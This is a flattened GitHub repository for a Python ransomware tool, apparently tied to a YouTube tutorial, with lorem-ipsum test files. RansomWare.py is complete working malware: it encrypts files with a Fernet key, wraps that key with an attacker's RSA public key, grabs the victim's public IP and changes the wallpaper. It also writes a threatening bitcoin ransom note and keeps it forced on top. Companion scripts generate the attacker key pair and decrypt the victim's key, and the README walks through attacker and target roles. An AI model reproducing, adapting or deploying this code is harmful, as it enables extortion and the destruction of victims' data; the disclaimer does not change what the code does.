├── Decrypt_fernet_key.py ├── LICENSE ├── README.md ├── RSA_private_public_keys.py ├── RansomWare.py ├── localRoot ├── Bank.txt ├── Farm.png ├── Folder1 │ ├── Amy.png │ ├── Folder2 │ │ ├── Five.txt │ │ ├── Four.png │ │ ├── One.txt │ │ ├── Three.txt │ │ └── Two.png │ ├── John.png │ ├── John.txt │ ├── Lucy.txt │ └── w3w3w3.txt ├── Hair.txt ├── River.png └── Shoping.txt └── requirements.txt /Decrypt_fernet_key.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Cipher import AES, PKCS1_OAEP 4 | 5 | 6 | 7 | 8 | with open('EMAIL_ME.txt', 'rb') as f: 9 | enc_fernet_key = f.read() 10 | print(enc_fernet_key) 11 | 12 | # Private RSA key 13 | private_key = RSA.import_key(open('private.pem').read()) 14 | 15 | # Private decrypter 16 | private_crypter = PKCS1_OAEP.new(private_key) 17 | 18 | # Decrypted session key 19 | dec_fernet_key = private_crypter.decrypt(enc_fernet_key) 20 | with open('PUT_ME_ON_DESKTOP.txt', 'wb') as f: 21 | f.write(dec_fernet_key) 22 | 23 | print(f'> Private key: {private_key}') 24 | print(f'> Private decrypter: {private_crypter}') 25 | print(f'> Decrypted fernet key: {dec_fernet_key}') 26 | print('> Decryption Completed') 27 | 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 w3w3w3 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python-Ransomware 2 | 3 | YouTube Tutorial: https://www.youtube.com/watch?v=ScL07VJJOX4 4 | 5 | To test the Ransomware out on your machine, 6 | 7 | * edit lines 49 and 140 in the ransomware.py file with your own absolute paths etc for testing purposes and so you can use the localRoot folder 8 | 9 | * [ATTACKER] Run the RSA script to generate two keys, a private and public key 10 | 11 | * [TARGET] Run the ransomware script - localRoot .txt files will be encrypted now 12 | 13 | * [ATTACKER] Run the fernet key decryption file to decrypt the EMAIL_ME.txt(be on your desktop) file, this will give you a PUT_ME_ON_DESKtOP.txt file, once you put this on the desktop the ransomware will decrypt the localRoot files in that directory 14 | 15 | ... watch the tutoiral to understand the scripts better. I quickly go over the scripts lightly in first 5 mins, I then run through the scripts and showcase the ransomware working etc and act the roles of the attacker/target out and show you it working etc, I then go over the scripts in more detail afterwards. 16 | 17 | 18 | Subscribe to channel for more videos. 19 | 20 | ## If you would like to leave a tip you can do so below, thanks 21 | * PayPal: 22 | 23 | ### Created with 24 | * Python 3.7 - https://www.python.org/ 25 | 26 | #### Disclaimer 27 | 28 | > This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for 29 | > illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no 30 | > liability and are not responsible for any misuse or damage caused by this tool and software in general. 31 | 32 | #Python#Ransomware#Malware 33 | -------------------------------------------------------------------------------- /RSA_private_public_keys.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Cipher import AES, PKCS1_OAEP 4 | import base64 5 | 6 | # Generates RSA Encryption + Decryption keys / Public + Private keys 7 | key = RSA.generate(2048) 8 | 9 | private_key = key.export_key() 10 | with open('private.pem', 'wb') as f: 11 | f.write(private_key) 12 | 13 | public_key = key.publickey().export_key() 14 | with open('public.pem', 'wb') as f: 15 | f.write(public_key) -------------------------------------------------------------------------------- /RansomWare.py: -------------------------------------------------------------------------------- 1 | # Imports 2 | from cryptography.fernet import Fernet # encrypt/decrypt files on target system 3 | import os # to get system root 4 | import webbrowser # to load webbrowser to go to specific website eg bitcoin 5 | import ctypes # so we can interact with windows dlls and change windows background etc 6 | import urllib.request # used for downloading and saving background image 7 | import requests # used to make get reqeust to api.ipify.org to get target machine ip addr 8 | import time # used to time.sleep interval for ransom note & check desktop to decrypt system/files 9 | import datetime # to give time limit on ransom note 10 | import subprocess # to create process for notepad and open ransom note 11 | import win32gui # used to get window text to see if ransom note is on top of all other windows 12 | from Crypto.PublicKey import RSA 13 | from Crypto.Random import get_random_bytes 14 | from Crypto.Cipher import AES, PKCS1_OAEP 15 | import base64 16 | import threading # used for ransom note and decryption key on dekstop 17 | 18 | 19 | 20 | class RansomWare: 21 | 22 | 23 | # File exstensions to seek out and Encrypt 24 | file_exts = [ 25 | 'txt', 26 | # We comment out 'png' so that we can see the RansomWare only encrypts specific files that we have chosen- 27 | # -and leaves other files un-ecnrypted etc. 28 | # 'png', 29 | 30 | ] 31 | 32 | 33 | def __init__(self): 34 | # Key that will be used for Fernet object and encrypt/decrypt method 35 | self.key = None 36 | # Encrypt/Decrypter 37 | self.crypter = None 38 | # RSA public key used for encrypting/decrypting fernet object eg, Symmetric key 39 | self.public_key = None 40 | 41 | ''' Root directorys to start Encryption/Decryption from 42 | CAUTION: Do NOT use self.sysRoot on your own PC as you could end up messing up your system etc... 43 | CAUTION: Play it safe, create a mini root directory to see how this software works it is no different 44 | CAUTION: eg, use 'localRoot' and create Some folder directory and files in them folders etc. 45 | ''' 46 | # Use sysroot to create absolute path for files, etc. And for encrypting whole system 47 | self.sysRoot = os.path.expanduser('~') 48 | # Use localroot to test encryption softawre and for absolute path for files and encryption of "test system" 49 | self.localRoot = r'D:\Coding\Python\RansomWare\RansomWare_Software\localRoot' # Debugging/Testing 50 | 51 | # Get public IP of person, for more analysis etc. (Check if you have hit gov, military ip space LOL) 52 | self.publicIP = requests.get('https://api.ipify.org').text 53 | 54 | 55 | # Generates [SYMMETRIC KEY] on victim machine which is used to encrypt the victims data 56 | def generate_key(self): 57 | # Generates a url safe(base64 encoded) key 58 | self.key = Fernet.generate_key() 59 | # Creates a Fernet object with encrypt/decrypt methods 60 | self.crypter = Fernet(self.key) 61 | 62 | 63 | # Write the fernet(symmetric key) to text file 64 | def write_key(self): 65 | with open('fernet_key.txt', 'wb') as f: 66 | f.write(self.key) 67 | 68 | 69 | # Encrypt [SYMMETRIC KEY] that was created on victim machine to Encrypt/Decrypt files with our PUBLIC ASYMMETRIC- 70 | # -RSA key that was created on OUR MACHINE. We will later be able to DECRYPT the SYSMETRIC KEY used for- 71 | # -Encrypt/Decrypt of files on target machine with our PRIVATE KEY, so that they can then Decrypt files etc. 72 | def encrypt_fernet_key(self): 73 | with open('fernet_key.txt', 'rb') as fk: 74 | fernet_key = fk.read() 75 | with open('fernet_key.txt', 'wb') as f: 76 | # Public RSA key 77 | self.public_key = RSA.import_key(open('public.pem').read()) 78 | # Public encrypter object 79 | public_crypter = PKCS1_OAEP.new(self.public_key) 80 | # Encrypted fernet key 81 | enc_fernent_key = public_crypter.encrypt(fernet_key) 82 | # Write encrypted fernet key to file 83 | f.write(enc_fernent_key) 84 | # Write encrypted fernet key to dekstop as well so they can send this file to be unencrypted and get system/files back 85 | with open(f'{self.sysRoot}Desktop/EMAIL_ME.txt', 'wb') as fa: 86 | fa.write(enc_fernent_key) 87 | # Assign self.key to encrypted fernet key 88 | self.key = enc_fernent_key 89 | # Remove fernet crypter object 90 | self.crypter = None 91 | 92 | 93 | # [SYMMETRIC KEY] Fernet Encrypt/Decrypt file - file_path:str:absolute file path eg, C:/Folder/Folder/Folder/Filename.txt 94 | def crypt_file(self, file_path, encrypted=False): 95 | with open(file_path, 'rb') as f: 96 | # Read data from file 97 | data = f.read() 98 | if not encrypted: 99 | # Print file contents - [debugging] 100 | print(data) 101 | # Encrypt data from file 102 | _data = self.crypter.encrypt(data) 103 | # Log file encrypted and print encrypted contents - [debugging] 104 | print('> File encrpyted') 105 | print(_data) 106 | else: 107 | # Decrypt data from file 108 | _data = self.crypter.decrypt(data) 109 | # Log file decrypted and print decrypted contents - [debugging] 110 | print('> File decrpyted') 111 | print(_data) 112 | with open(file_path, 'wb') as fp: 113 | # Write encrypted/decrypted data to file using same filename to overwrite original file 114 | fp.write(_data) 115 | 116 | 117 | # [SYMMETRIC KEY] Fernet Encrypt/Decrypt files on system using the symmetric key that was generated on victim machine 118 | def crypt_system(self, encrypted=False): 119 | system = os.walk(self.localRoot, topdown=True) 120 | for root, dir, files in system: 121 | for file in files: 122 | file_path = os.path.join(root, file) 123 | if not file.split('.')[-1] in self.file_exts: 124 | continue 125 | if not encrypted: 126 | self.crypt_file(file_path) 127 | else: 128 | self.crypt_file(file_path, encrypted=True) 129 | 130 | 131 | @staticmethod 132 | def what_is_bitcoin(): 133 | url = 'https://bitcoin.org' 134 | # Open browser to the https://bitcoin.org so they know what bitcoin is 135 | webbrowser.open(url) 136 | 137 | 138 | def change_desktop_background(self): 139 | imageUrl = 'https://images.idgesg.net/images/article/2018/02/ransomware_hacking_thinkstock_903183876-100749983-large.jpg' 140 | # Go to specif url and download+save image using absolute path 141 | path = f'{self.sysRoot}Desktop/background.jpg' 142 | urllib.request.urlretrieve(imageUrl, path) 143 | SPI_SETDESKWALLPAPER = 20 144 | # Access windows dlls for funcionality eg, changing dekstop wallpaper 145 | ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, path, 0) 146 | 147 | 148 | def ransom_note(self): 149 | date = datetime.date.today().strftime('%d-%B-Y') 150 | with open('RANSOM_NOTE.txt', 'w') as f: 151 | f.write(f''' 152 | The hard disks of your computer have been encrypted with an Military grade encryption algorithm. 153 | There is no way to restore your data without a special key. 154 | Only we can decrypt your files! 155 | 156 | To purchase your key and restore your data, please follow these three easy steps: 157 | 158 | 1. Email the file called EMAIL_ME.txt at {self.sysRoot}Desktop/EMAIL_ME.txt to GetYourFilesBack@protonmail.com 159 | 160 | 2. You will recieve your personal BTC address for payment. 161 | Once payment has been completed, send another email to GetYourFilesBack@protonmail.com stating "PAID". 162 | We will check to see if payment has been paid. 163 | 164 | 3. You will receive a text file with your KEY that will unlock all your files. 165 | IMPORTANT: To decrypt your files, place text file on desktop and wait. Shortly after it will begin to decrypt all files. 166 | 167 | WARNING: 168 | Do NOT attempt to decrypt your files with any software as it is obsolete and will not work, and may cost you more to unlock your files. 169 | Do NOT change file names, mess with the files, or run decryption software as it will cost you more to unlock your files- 170 | -and there is a high chance you will lose your files forever. 171 | Do NOT send "PAID" button without paying, price WILL go up for disobedience. 172 | Do NOT think that we won't delete your files altogether and throw away the key if you refuse to pay. WE WILL. 173 | ''') 174 | 175 | 176 | def show_ransom_note(self): 177 | # Open the ransom note 178 | ransom = subprocess.Popen(['notepad.exe', 'RANSOM_NOTE.txt']) 179 | count = 0 # Debugging/Testing 180 | while True: 181 | time.sleep(0.1) 182 | top_window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) 183 | if top_window == 'RANSOM_NOTE - Notepad': 184 | print('Ransom note is the top window - do nothing') # Debugging/Testing 185 | pass 186 | else: 187 | print('Ransom note is not the top window - kill/create process again') # Debugging/Testing 188 | # Kill ransom note so we can open it agian and make sure ransom note is in ForeGround (top of all windows) 189 | time.sleep(0.1) 190 | ransom.kill() 191 | # Open the ransom note 192 | time.sleep(0.1) 193 | ransom = subprocess.Popen(['notepad.exe', 'RANSOM_NOTE.txt']) 194 | # sleep for 10 seconds 195 | time.sleep(10) 196 | count +=1 197 | if count == 5: 198 | break 199 | 200 | 201 | # Decrypts system when text file with un-encrypted key in it is placed on dekstop of target machine 202 | def put_me_on_desktop(self): 203 | # Loop to check file and if file it will read key and then self.key + self.cryptor will be valid for decrypting- 204 | # -the files 205 | print('started') # Debugging/Testing 206 | while True: 207 | try: 208 | print('trying') # Debugging/Testing 209 | # The ATTACKER decrypts the fernet symmetric key on their machine and then puts the un-encrypted fernet- 210 | # -key in this file and sends it in a email to victim. They then put this on the desktop and it will be- 211 | # -used to un-encrypt the system. AT NO POINT DO WE GIVE THEM THE PRIVATE ASSYEMTRIC KEY etc. 212 | with open(f'{self.sysRoot}/Desktop/PUT_ME_ON_DESKTOP.txt', 'r') as f: 213 | self.key = f.read() 214 | self.crypter = Fernet(self.key) 215 | # Decrpyt system once have file is found and we have cryptor with the correct key 216 | self.crypt_system(encrypted=True) 217 | print('decrypted') # Debugging/Testing 218 | break 219 | except Exception as e: 220 | print(e) # Debugging/Testing 221 | pass 222 | time.sleep(10) # Debugging/Testing check for file on desktop ever 10 seconds 223 | print('Checking for PUT_ME_ON_DESKTOP.txt') # Debugging/Testing 224 | # Would use below code in real life etc... above 10secs is just to "show" concept 225 | # Sleep ~ 3 mins 226 | # secs = 60 227 | # mins = 3 228 | # time.sleep((mins*secs)) 229 | 230 | 231 | 232 | def main(): 233 | # testfile = r'D:\Coding\Python\RansomWare\RansomWare_Software\testfile.png' 234 | rw = RansomWare() 235 | rw.generate_key() 236 | rw.crypt_system() 237 | rw.write_key() 238 | rw.encrypt_fernet_key() 239 | rw.change_desktop_background() 240 | rw.what_is_bitcoin() 241 | rw.ransom_note() 242 | 243 | t1 = threading.Thread(target=rw.show_ransom_note) 244 | t2 = threading.Thread(target=rw.put_me_on_desktop) 245 | 246 | t1.start() 247 | print('> RansomWare: Attack completed on target machine and system is encrypted') # Debugging/Testing 248 | print('> RansomWare: Waiting for attacker to give target machine document that will un-encrypt machine') # Debugging/Testing 249 | t2.start() 250 | print('> RansomWare: Target machine has been un-encrypted') # Debugging/Testing 251 | print('> RansomWare: Completed') # Debugging/Testing 252 | 253 | 254 | 255 | if __name__ == '__main__': 256 | main() 257 | 258 | -------------------------------------------------------------------------------- /localRoot/Bank.txt: -------------------------------------------------------------------------------- 1 | Lorem Ipsum is simply dummy text of the printing and typesetting industry. 2 | Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, 3 | when an unknown printer took a galley of type and scrambled it to make a type specimen book. 4 | It has survived not only five centuries, but also the leap into electronic typesetting, 5 | remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset 6 | sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like 7 | Aldus PageMaker including versions of Lorem Ipsum. -------------------------------------------------------------------------------- /localRoot/Farm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ncorbuk/Python-Ransomware/6b716f55615b812fe31e149a9ef2074128166ac9/localRoot/Farm.png -------------------------------------------------------------------------------- /localRoot/Folder1/Amy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ncorbuk/Python-Ransomware/6b716f55615b812fe31e149a9ef2074128166ac9/localRoot/Folder1/Amy.png -------------------------------------------------------------------------------- /localRoot/Folder1/Folder2/Five.txt: -------------------------------------------------------------------------------- 1 | Lorem Ipsum is simply dummy text of the printing and typesetting industry. 2 | Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, 3 | when an unknown printer took a galley of type and scrambled it to make a type specimen book. 4 | It has survived not only five centuries, but also the leap into electronic typesetting, 5 | remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset 6 | sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like 7 | Aldus PageMaker including versions of Lorem Ipsum. -------------------------------------------------------------------------------- /localRoot/Folder1/Folder2/Four.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ncorbuk/Python-Ransomware/6b716f55615b812fe31e149a9ef2074128166ac9/localRoot/Folder1/Folder2/Four.png -------------------------------------------------------------------------------- /localRoot/Folder1/Folder2/One.txt: -------------------------------------------------------------------------------- 1 | Lorem Ipsum is simply dummy text of the printing and typesetting industry. 2 | Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, 3 | when an unknown printer took a galley of type and scrambled it to make a type specimen book. 4 | It has survived not only five centuries, but also the leap into electronic typesetting, 5 | remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset 6 | sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like 7 | Aldus PageMaker including versions of Lorem Ipsum. -------------------------------------------------------------------------------- /localRoot/Folder1/Folder2/Three.txt: -------------------------------------------------------------------------------- 1 | Lorem Ipsum is simply dummy text of the printing and typesetting industry. 2 | Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, 3 | when an unknown printer took a galley of type and scrambled it to make a type specimen book. 4 | It has survived not only five centuries, but also the leap into electronic typesetting, 5 | remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset 6 | sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like 7 | Aldus PageMaker including versions of Lorem Ipsum. -------------------------------------------------------------------------------- /localRoot/Folder1/Folder2/Two.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ncorbuk/Python-Ransomware/6b716f55615b812fe31e149a9ef2074128166ac9/localRoot/Folder1/Folder2/Two.png -------------------------------------------------------------------------------- /localRoot/Folder1/John.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ncorbuk/Python-Ransomware/6b716f55615b812fe31e149a9ef2074128166ac9/localRoot/Folder1/John.png -------------------------------------------------------------------------------- /localRoot/Folder1/John.txt: -------------------------------------------------------------------------------- 1 | Lorem Ipsum is simply dummy text of the printing and typesetting industry. 2 | Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, 3 | when an unknown printer took a galley of type and scrambled it to make a type specimen book. 4 | It has survived not only five centuries, but also the leap into electronic typesetting, 5 | remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset 6 | sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like 7 | Aldus PageMaker including versions of Lorem Ipsum. -------------------------------------------------------------------------------- /localRoot/Folder1/Lucy.txt: -------------------------------------------------------------------------------- 1 | Lorem Ipsum is simply dummy text of the printing and typesetting industry. 2 | Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, 3 | when an unknown printer took a galley of type and scrambled it to make a type specimen book. 4 | It has survived not only five centuries, but also the leap into electronic typesetting, 5 | remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset 6 | sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like 7 | Aldus PageMaker including versions of Lorem Ipsum. -------------------------------------------------------------------------------- /localRoot/Folder1/w3w3w3.txt: -------------------------------------------------------------------------------- 1 | Lorem Ipsum is simply dummy text of the printing and typesetting industry. 2 | Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, 3 | when an unknown printer took a galley of type and scrambled it to make a type specimen book. 4 | It has survived not only five centuries, but also the leap into electronic typesetting, 5 | remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset 6 | sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like 7 | Aldus PageMaker including versions of Lorem Ipsum. -------------------------------------------------------------------------------- /localRoot/Hair.txt: -------------------------------------------------------------------------------- 1 | Lorem Ipsum is simply dummy text of the printing and typesetting industry. 2 | Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, 3 | when an unknown printer took a galley of type and scrambled it to make a type specimen book. 4 | It has survived not only five centuries, but also the leap into electronic typesetting, 5 | remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset 6 | sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like 7 | Aldus PageMaker including versions of Lorem Ipsum. -------------------------------------------------------------------------------- /localRoot/River.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ncorbuk/Python-Ransomware/6b716f55615b812fe31e149a9ef2074128166ac9/localRoot/River.png -------------------------------------------------------------------------------- /localRoot/Shoping.txt: -------------------------------------------------------------------------------- 1 | Lorem Ipsum is simply dummy text of the printing and typesetting industry. 2 | Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, 3 | when an unknown printer took a galley of type and scrambled it to make a type specimen book. 4 | It has survived not only five centuries, but also the leap into electronic typesetting, 5 | remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset 6 | sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like 7 | Aldus PageMaker including versions of Lorem Ipsum. -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | cryptography 2 | pycryptodome 3 | requests 4 | win32gui 5 | --------------------------------------------------------------------------------